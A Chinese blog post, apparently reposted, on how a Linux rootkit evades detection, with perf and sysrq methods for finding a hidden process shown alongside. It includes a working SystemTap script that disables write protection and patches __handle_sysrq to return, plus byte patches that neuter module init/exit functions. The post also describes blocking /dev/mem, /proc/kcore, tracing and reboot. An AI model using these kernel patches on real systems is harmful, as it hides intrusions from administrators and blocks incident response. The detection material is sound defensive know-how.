Linux Rootkit的反侦测手段漫谈

任何恶意程序和反恶意程序都是左右手互搏,无关褒贬善恶,它们使用的均是同一种技术或者说手段。

之前说了很多如何做一个藏得很深的Rootkit,无论是藏进程,藏TCP连接,还是藏文件,当然,也顺便说了很多如何发现这些Rootkit的技巧,本文主要聊一下 Rootkit需要主动做哪些具体措施以反制侦测程序的侦测。

我们用之前的脚本隐彻底藏掉一个进程:

[root@localhost test]# ps -e|grep loooo
1545 pts/3        00:00:00 loooooooop
[root@localhost test]# stap -g ./hide_process.stp 1545 0 1234
[root@localhost test]# ps -e|grep looooo
[root@localhost test]#

我所谓的彻底隐藏绝不仅仅在procfs里掩耳盗铃这么简单,而是彻底将进程从task list中摘除,你即便是遍历task list也找不到它。详情参见:
https://blog.csdn.net/dog250/article/details/105371830
但是,运行队列里有啊!毕竟它总是要运行的吧。所以我自己当然知道如何找到它。

然而,当你不知道系统里有一个被隐藏进程的时候,怎么办?你只是知道此时服务器有点异常,比方说突然间一个月电费激增…你如何确认到底发生了什么呢?

好吧,咱们来debug吧。

[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /dev/mem
...
This program has absolutely no warranty.  Enter "help warranty" for details.

crash: /dev/mem: Operation not permitted

Usage:

  crash [OPTION]... NAMELIST MEMORY-IMAGE[@ADDRESS]  (dumpfile form)
  crash [OPTION]... [NAMELIST]                   (live system form)

Enter "crash -h" for details.
[root@localhost ~]# crash /usr/lib/debug/usr/lib/modules/3.10.x86_64/vmlinux /proc/kcore
...
crash: /proc/kcore: Operation not permitted
...

抱歉,无可能了!Why?

前面说过,Rootkit得手了,当然要把门锁上咯…Rootkit把/dev/mem,/proc/kcore的open接口给封死了。

通过debug live kernel的内存不行了,那么我们自己写模块来侦测怎么样?

…(此处略过侦测模块的内容)

加载成功!我们来dmesg看结果吧!很遗憾,什么也没有!因为Rootkit已经把模块的init函数和exit全部HOOK成了:

return 0;

而这个非常容易,直接用模块的notifier机制将init/exit函数开头修改几个字节即可:

// 把模块的init函数换成"return 0;"
init[0] = 0x31;    // xor %eax, %eax
init[1] = 0xc0;    // retq
init[2] = 0xc3;    // retq
// 把模块的exit函数换成"return;" 防止侦测模块在exit函数中做一些事情。
exit[0] = 0xc3;

所以,自己写的模块完全失效!

我本来是想在一篇文章里全部写完的,然而那样会很长,所以我就想一点写一点。其实封堵/dev/mem,封堵/proc/kcore,封堵内核模块并不能完全封堵侦测,还有三类需要重视:

  • eBPF tracing
  • Normal tracing
  • Sysrq dump

我目前没有eBPF环境,所以这里先不说eBPF。这里说说tracing和sysrq。先看看tracing机制如何发现被隐藏的进程。这非常简单。

被隐藏的进程总要被调度执行,那就trace调度点呗。当然,这有点暴力,不过也没办法,就好像地铁站,火车站总有查证的一样,阻碍交通,但有效啊!

下面的操作一气呵成即可:

# 先找个探测点
[root@localhost ~]# perf probe --line __schedule
<__schedule@/usr/src/debug/kernel-3.10/linux-3.10.x86_64/kernel/sched/core.c:0>
      0  static void __sched __schedule(void)
      1  {
     ...
     58         clear_tsk_need_resched(prev);
     59         rq->skip_clock_update = 0;

     61         if (likely(prev != next)) {
     ...
# 增加一个探测probe
[root@localhost ~]# perf probe '__schedule:59 prev->comm:string'
Added new event:
  probe:__schedule     (on __schedule:59 with comm=prev->comm:string)

You can now use it in all perf tools, such as:

    perf record -e probe:__schedule -aR sleep 1
# 开始探测2秒钟
[root@localhost ~]# perf record -e probe:__schedule -aR sleep 2
[ perf record: Woken up 1 times to write data ]
[ perf record: Captured and wrote 0.146 MB perf.data (41 samples) ]
# 查看结果
[root@localhost ~]# perf script
            perf  1903 [000]  1643.752322: probe:__schedule: (ffffffff8163993d) comm="perf"
           sleep  1904 [000]  1643.752849: probe:__schedule: (ffffffff8163993d) comm="sleep"
           :1545  1545 [000]  1643.764831: probe:__schedule: (ffffffff8163993d) comm="loooooooop"
         rcuos/0    11 [000]  1643.764847: probe:__schedule: (ffffffff8163993d) comm="rcuos/0"
       rcu_sched    10 [000]  1643.764851: probe:__schedule: (ffffffff8163993d) comm="rcu_sched"
           :1545  1545 [000]  1643.776636: probe:__schedule: (ffffffff8163993d) comm="loooooooop"
       rcu_sched    10 [000]  1643.776645: probe:__schedule: (ffffffff8163993d) comm="rcu_sched"
         rcuos/0    11 [000]  1643.776668: probe:__schedule: (ffffffff8163993d) comm="rcuos/0"
           :1545  1545 [000]  1643.881082: probe:__schedule: (ffffffff8163993d) comm="loooooooop"
     kworker/0:1    22 [000]  1643.881102: probe:__schedule: (ffffffff8163993d) comm="kworker/0:1"
           :1545  1545 [000]  1644.040785: probe:__schedule: (ffffffff8163993d) comm="loooooooop"
           tuned  1221 [000]  1644.040863: probe:__schedule: (ffffffff8163993d) comm="tuned"
           :1545  1545 [000]  1644.173536: probe:__schedule: (ffffffff8163993d) comm="loooooooop"

我们看到了一个可疑的进程,OK,成功抓住了loooooooop!

玩过瘾之后,接下来我要把trace机制封堵了。封堵过程我就不再赘述了,反正很简单,只要让trace接口注册函数直接return即可。依然是老套的二进制代码HOOK,有点烦了。

接下来我们看看sysrq如何抓到被隐藏的进程。

# 为了确认用法,先help一下
[root@localhost ~]# echo h >/proc/sysrq-trigger
[root@localhost ~]#
[root@localhost ~]# dmesg
[  659.915967] SysRq : HELP : loglevel(0-9) reboot(b) crash(c) terminate-all-tasks(e) memory-full-oom-kill(f) kill-all-tasks(i) thaw-filesystems(j) sak(k) show-backtrace-all-active-cpus(l) show-memory-usage(m) nice-all-RT-tasks(n) poweroff(o) show-registers(p) show-all-timers(q) unraw(r) sync(s) show-task-states(t) unmount(u) show-blocked-tasks(w) dump-ftrace-buffer(z)
[root@localhost ~]# echo l >/proc/sysrq-trigger
[root@localhost ~]# dmesg
...
# 如果被隐藏进程是个吃CPU的,那么不用几次就能找出来,因为它大概率正在某个CPU上运行,当前的stack就是它的stack!
[  664.780275] NMI backtrace for cpu 1
# pid不是1545,因为这是两次实验
[  664.780279] CPU: 1 PID: 1392 Comm: loooooooop Tainted: G           OE  ------------   3.10.x86_64 #1
[  664.780280] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[  664.780281] task: ffff88003c2e0c60 ti: ffff88003bbf8000 task.ti: ffff88003bbf8000
[  664.780282] RIP: 0033:[<00000000004004d1>]  [<00000000004004d1>] 0x4004d0
[  664.780300] RSP: 002b:00007ffd4284c530  EFLAGS: 00000246
[  664.780301] RAX: 00000000004004cd RBX: 0000000000000000 RCX: 00000000004004e0
[  664.780302] RDX: 00007ffd4284c628 RSI: 00007ffd4284c618 RDI: 0000000000000001
[  664.780304] RBP: 00007ffd4284c530 R08: 00007f7464447e80 R09: 0000000000000000
[  664.780305] R10: 00007ffd4284c060 R11: 00007f74640a22e0 R12: 00000000004003e0
[  664.780307] R13: 00007ffd4284c610 R14: 0000000000000000 R15: 0000000000000000
[  664.780309] FS:  00007f746465b740(0000) GS:ffff88003fc80000(0000) knlGS:0000000000000000
[  664.780310] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[  664.780311] CR2: 00007fcae1697248 CR3: 000000003b604000 CR4: 00000000000406e0
[  664.780316] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  664.780318] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
...

值得一提的是,如果是单核心CPU的机器,就不能使用procfs来触发sysrq dump stack了,因为无论如何它总是echo l >/proc/sysrq-trigger程序本身的stack,此时就需要真正用键盘的Sysrq键来触发了。

如果是远程登录,那么显然这里就需要ipmi等带外机制来触发键盘操作了。

封堵sysrq机制势在必行。这简直太容易了,封堵__handle_sysrq函数即可:

// drivers/tty/sysrq.c
void handle_sysrq(int key)
{
    if (sysrq_on())
        __handle_sysrq(key, true);
}

脚本如下:

// disysrq.stp
#!/usr/bin/stap -g
function disysrq()
%{
    unsigned char *_handle_sysrq;
    unsigned char ret_1[6];
    unsigned long cr0;

    _handle_sysrq = (void *)kallsyms_lookup_name("__handle_sysrq");
    if (!_handle_sysrq)
        return;
    ret_1[0] = 0xc3; // retq
    cr0 = read_cr0();
    clear_bit(16, &cr0);
    write_cr0(cr0);
    memcpy(_handle_sysrq, ret_1, sizeof(ret_1));
    set_bit(16, &cr0);
    write_cr0(cr0);
%}

probe begin
{
    disysrq();
    exit();
}

由于我之前已经执行了anti-sense.stp脚本禁用了模块,所以我必须重启机器来验证禁用sysrq的功能:

[root@localhost ~]# echo h >/proc/sysrq-trigger
[root@localhost ~]# echo l >/proc/sysrq-trigger
[root@localhost ~]# dmesg
[root@localhost ~]# echo $?
0

什么系统都没有了!

OK,事到如此,经理只能一损俱损而被迫关机了!

怎么样?能让经理顺利关机吗?不可能的!于是将halt接口,reboot接口machine_emergency_restart,machine_restart,machine_halt封堵了吧,只是顺便的徒手之劳罢了。


事已至此,不必难过,好在还有ipmi来带外操作。

哈哈,难道ipmi就不能劫持吗?只要有接口,就能被劫持,难易不同而已。有接口的地方就能玩花活儿。

接口?这玩意儿初衷是给程序员用的,不是给代码用的,代码只是被迫 利用 而不是主动 使用 ,记住,在CPU看来,没有结构化,没有对象,CPU看到的只是一串冗长乏味的指令。接口这玩意儿非常之脆弱!我们看自来水管漏水,基本也是接口处。

一串指令如果顺序执行下去,便很难hook,然而一旦有个call或者jmp,那hook也就是换个地址的事了。

好吧,我承认,经理至少可以买机票去机房拔电线,按电源,或者一盆水泼在机柜上,然而这里还有一道接口,那就是机房的大门,经理穿着西装,他进得去机房吗?就算他进去了,然而经理穿着进水的皮鞋👞,滑跌倒了…


浙江温州皮鞋湿,下雨进水不会胖。

原文链接: https://blog.csdn.net/dog250/article/details/105858694

欢迎关注

微信关注下方公众号,第一时间获取干货硬货;公众号内回复【pdf】免费获取数百本计算机经典书籍;

也有高质量的技术群,里面有嵌入式、搜广推等BAT大佬

    Linux Rootkit的反侦测手段漫谈

原创文章受到原创版权保护。转载请注明出处:https://www.ccppcoding.com/archives/406002

非原创文章文中已经注明原地址,如有侵权,联系删除

关注公众号【高性能架构探索】,第一时间获取最新文章

转载文章受原作者版权保护。转载请注明原作者出处!

(0)
上一篇 2023年4月26日 上午9:33
下一篇 2023年4月26日 上午9:33

相关推荐